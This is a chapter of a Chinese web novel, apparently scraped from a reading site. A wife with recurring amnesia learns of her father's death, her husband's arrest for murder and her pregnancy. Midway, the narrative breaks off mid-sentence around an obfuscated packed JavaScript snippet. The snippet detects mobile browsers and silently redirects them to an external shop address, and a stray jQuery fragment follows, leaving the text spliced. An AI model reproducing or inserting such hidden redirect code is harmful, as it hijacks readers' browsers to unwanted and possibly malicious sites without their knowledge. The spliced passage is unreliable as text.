再次醒来,沈渡看着眼前陌生的事物往后躲了去。
季垚扶她的手悬空在半空,他小心翼翼的问:“你还记得我是谁吗?”
沈渡怯生生地晃了晃脑袋,“你是谁啊。”
季垚一颗心落入了谷底,他背过身片刻才转回来看着沈渡,“我是季垚,你的……夫婿。”
夫婿二字他顿了许久才说出来,他害怕这次又会像上次一样。
“夫婿?舅舅什么时候给我找的这么好看的夫婿?”她歪着脑袋打量着季垚,季垚也不动就这么让她看着。
“哎呀!”她拍了下自己的脑袋,“我给忘记了,今日还得去老师那里还课呢,来不及了。”
说完她便推开季垚往外走去,连衣裳都未穿。
季垚伸手将她给拉了回来,“你找哪位老师啊?”
沈渡被他拉着,两人的距离极近,一时之间她竟忘记了自己是要找谁。
“我……我要找……”她低头思索着,忽然一阵刺痛传来,她甩开季垚的手,死死抓着自己的头。
“不想不想。”季垚将她抱在怀中轻声安抚着她。
这一阵的头疼过去,沈渡瘫在他的怀中,虚弱道:“我找文老师。”
“文老师她……她啊去远地方了。”安慰的话到了嘴边却不知该如何说出口,季垚手掌轻轻抚摸着她的后背,“现在你啊,是挑大任的人,以后就没有老师能帮助你了。”
“我是失忆症又复发了吗?”沈渡的头埋在他的胸前,“我是不是又忘记了什么,我是不是又伤害了什么人。”
“你帮我给他们道个歉好不好。”她抬起头,眼眶中全是眼泪。
季垚的眼泪顺着脸颊滑落在沈渡的脸上,他偏过头抬手将眼泪擦干净,“嗯,好。我会帮你跟他们道歉的。”
“那我有没有伤害你啊,我看你刚才挺小心翼翼的。”
他笑着摇了摇头,他把沈渡扶起来,让她的视线与自己齐平,“夫妻之间说什么伤害呢。”
“那就是有了,真是对不起啊。”她撇了撇嘴,“之前冯太医就说过我这个毛病,我还以为是什么小病呢,没想到还真就出现了。”
“下次我如果又出现了这种情况,你就别管我了。他们大人好像说我这个就是这么一两天就会恢复的。”
“只不过恢复正常好像没几次。”他叹了口气,看向季垚,“但你也不必太伤心,或许明日她就回来了。”
“不重要了。”
这些都不重要了,只要是她就好。
这些日子季垚已经看淡,昨日问了章子衔他也和自己提起了这件事情,但是从前从未注意过这件事,没想到过了这么多年居然真的再次复发了。
“那你想出去看看吗?”季垚问她。
沈渡偏头看向外面,她摇了摇头,“不了,好冷。我想就在床上躺着。”
说着沈渡便躺回了床上,季垚帮她弄好被子转身出了门。
离开房间后,季垚像个小孩子一般哭了起来,他用手捂着自己的嘴不让自己哭出声。
他蜷缩着身子坐在地上,脑海中不断回想起之前的种种。
他就不该让沈渡跟着他一起去冒险,他就不该让她去常府。他为什么没有提前去查沈渡的病情,当时为什么非要抓着她的身份不放。
他现在十分后悔,但是事情已然发生纵使他现在做什么都是徒劳。
“我该怎么办才好……”
*
屋内沈渡并未真的入睡,她细细的听清了季垚的每一声啜泣,这声声啜泣揪的她的心也难受了起来,她伸手在自己胸口顺了顺。
“是你在哭吗?”她自言自语道。
“你怎么就不告诉他你有这毛病啊,这样子他也就不会爱上你再娶了你了。”
她有些气恼的敲了下被子,闭眼睡了过去。
她希望下次醒来是正常的沈渡,而不是从前的沈渡。
她很快进入了梦中,梦里面她看见自己多年未见的父母兄长回来了。
只是情形似乎不大好。
“暮舟,暮舟,快醒醒。”季垚的呼喊声传入耳中,她揉着眼睛坐起身。
“怎么了,你怎么这么一副急切的样子。”
季垚欲言又止了一番,才道:“你父母回来了。”
!
那不是梦,是真的。
“他们在哪里,是在前厅吗?”沈渡脸上洋溢着笑容,季垚却是一脸苦情模样。
沈渡偏头问他:“怎么了,发生什么了?”
她这下才看清季垚的脸,他的脸上沾满了鲜血,沈渡的心一下沉入了谷底。
再开口时,她没有之前的那般气势,“他们都没事吧。”
“……”季垚没说话,他从另一边拿来衣裳给沈渡披上。
她穿了衣裳由季垚领着走了出去,走到正厅外时,她听见了里面传来的哭喊声,她的脚步一顿。
她看向季垚:“你跟我说实话,他们到底怎么了?”
她抓着季垚的衣裳,眼泪簌簌地往下落,“我不就是睡了这么几日吗,怎么就发生了这种事情。”
“你告诉我好不好?让我有个准备。”
“咱们进去看看吧。”季垚沙哑道。
他将沈渡带了进去,方才踏进正厅沈渡整个人都软了下来,好在季垚扶住了她。
她颤颤巍巍的走到里面,扑通一声跪在了蒲团上。
两边穿孝服的人听见声响纷纷抬起头,他们眼中满是疑惑,“这位娘子,你是谁啊?”
站在他们身后的章子衔给了两人一人一掌,“你妹,亲妹!”
“妹妹醒了?你还未恢复好要不就先回去休息吧。”其中一个男人道。
沈渡没说话,她眼神空洞地望着那具大棺材,眼泪如断了线的珍珠从始至终都未停下过。
季垚也跪了下来,章子衔看着夫妻二人闭了闭眼,“大郎二郎你们先回去休息。这里就让暮舟他们来。”
两人没有多说什么,各自搀扶着站起身走了出去。
只是方才走到门边便被人给拦了回来。
领头的人是林青硕,他对几人行了一礼,走进里面,站在季垚的身后。
他弓身拜了拜看向季垚。
“侯爷,有人检举是您杀害了沈大将军,现在需要您去一趟大理寺。”
“你又不是大理寺的,你来传这话是要做什么。”沈渡回头看向他。
林青硕避开她的视线,“侯爷,跟我走吧。”
季垚站起身,抬起双手,林青硕用绳子将他拴起来,“得罪了。”
人被带走后,沈渡站起身,走到章子衔身边。
“舅舅。这是怎么回事啊,季垚怎么会被抓走呢,还有这棺材里面躺着的是谁。为什么父亲母亲返京我一点消息都没有呢。”她说这话时有点急,章子衔忙安抚她。
他看向还未离开的两个大男人,“这其中一个是你大哥沈千回,”他指向其中一个男人,那男人的额角有一道疤。
“这个是你二哥,沈铭礼。”他指向另一个人。
“这是你们的妹妹,沈渡。”
“您别和我说这些,我现在什么都不想听,您快些告诉我到底是怎么回事好不好。”她道。
章子衔看向沈铭礼,“你说。”
沈铭礼看向沈渡,“里面是父亲,我们是在昨日回来的。”
“昨日?”沈渡看向章子衔,她记得昨日还在常府,“昨日我还在常府,我……”
章子衔打断了她,“你看吧,你都这样子了,自然是不能让你知道了。”
“现在是什么时候啊。”
“十月了。”沈千回道。
“十月……”她回味了两下这句话,忽然她胃中一阵难受,捂着嘴跑了出去。
*
“你有孕了。”
一句话将沈渡拉回了现实,她忽然觉得有些害怕,她看向自己舅舅,“这九个月到底怎么了。”
章子衔呼出一口浊气,遣散了周围的人,“你这几个月整个人都是浑浑噩噩的,正常的时候就只有两个月,就是在落崖之后。”
落崖?她到底是错过了什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572255|204826||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么,怎么自己完全没有印象,“舅舅会跟你说清楚的,你别急。”
“三月,你参加了打猎赛,结果为了救季垚的那两个侄子差点丢了半条命,若不是当时你带着骨哨,季垚都找不到你。”
“因为这件事情,你的身体那两个月都不大好,一直在养伤。六月,宁衿言的父亲也就是明阳王派人将你绑到了悬崖边以此来威胁季垚。”
“为什么要威胁季垚?宁衿言要做什么?”
“宁衿言爱季垚,明阳王不忍自己女儿受苦试图将你杀掉。”
这都什么跟什么,沈渡现在的脑子简直是一团浆糊,“那之后呢,我之后为何会怀上这孩子。”
“这就是你们夫妻之间的事情了,我这个外人可不知道。但我能告诉你的是,那两个月你是正常了,只不过前几日又给忘记了而已。”
“舅舅,您给我找个大夫吧,给我治一治,我不要再这样了。”她哭着拉着章子衔的衣服,这几个月她完全没有印象,甚至身子也不好了起来。
她不能再这么下去了,不然她就得入土为安了。
“找了,找了大夫,她给你施了针,所以你这才清醒了过来。就是方才那个人,她也是你二嫂。”
“你放心,她的医术很好,是冯老传授的。”
“冯老?冯太医?”
“冯太医他父亲,著名的医仙。”
他拍了拍沈渡的肩,“你现在好好养着身子,什么都不要去想,季垚他是会没事的。”
“我得去看看他。”沈渡想要出去,章子衔立刻拉住她。
“别动,你们如今已经成了眼中钉肉中刺,季垚是第一个但绝不会是最后一个。”他拿出一个册子递给沈渡,“专门给你记着的,就是怕你给忘记了。”
沈渡接过那册子仔细看了起来。
三月初三,投放林大人的糗事,明阳王派人抓走了季垚姐姐的孩子,沈渡带人去救。
“这分明就是个圈套,他们就是想要沈渡死。”归一甩开季垚,手中拿着横刀。
“我去救她。”她翻身上马,季垚紧跟其后。
季垚:“我走东。”
“嗯。”
两人兵分两路。
沈渡带着两个孩子躲进了草房子中,她将孩子藏进地窖,自己孤身引开其他人。
苦战许久,身上全是刀疤,最后终于等到援兵。
六月二十三,沈渡再次被抓,彼时她的手不能提刀,被人抓走。
明阳王威胁许久,最后两人纷纷被推下悬崖。
七月初一,沈渡和季垚恢复了不少,两人着手去查明阳王。
*
“那这孩子是哪来的。”她的手抚在小腹处。
“先喝药,别想这些。喝完我给你扎几针。”一个女子走进来。
沈渡虚着眼看向她,良久她问了句,“冯若茌?”
冯若茌一顿,“沈小司主认出来了?但我现在是你二嫂。”
“你不是离开京城了吗,怎么又回来了。”
“我……我违反了我们的约定,对不住。”冯若茌抱歉的看着她。
沈渡摆了摆头,“不是你的错,是我的错。”
“药我不喝了,我出去一趟。”她站起身准备往外走,冯若茌拉住她的手。
“遵医嘱。”
“而且你的手还没好全。”
沈渡看向自己的手,手腕上竟有几条大疤痕,“这是什么。”
“伤着筋了,但还好被接回去了。”她拿出针,将沈渡按回床上。
一番针灸下来,沈渡的脑子又清醒了不少。
她记起了点点滴滴,她想起自己让归一查季垚姐姐的事情,想起季垚为何会恐黑,为何会和他父亲如此疏远。
他的父亲从小便不喜欢他,姐姐更是讨厌他,经常将他关在黑屋子里,导致他恐黑,也不喜欢和家人亲近。
“每天想起一点是正常的,你现在可以出去了。”冯若茌将东西收起来,扶着沈渡走了出去。
只是这一出去,再回来时她便落了一身红。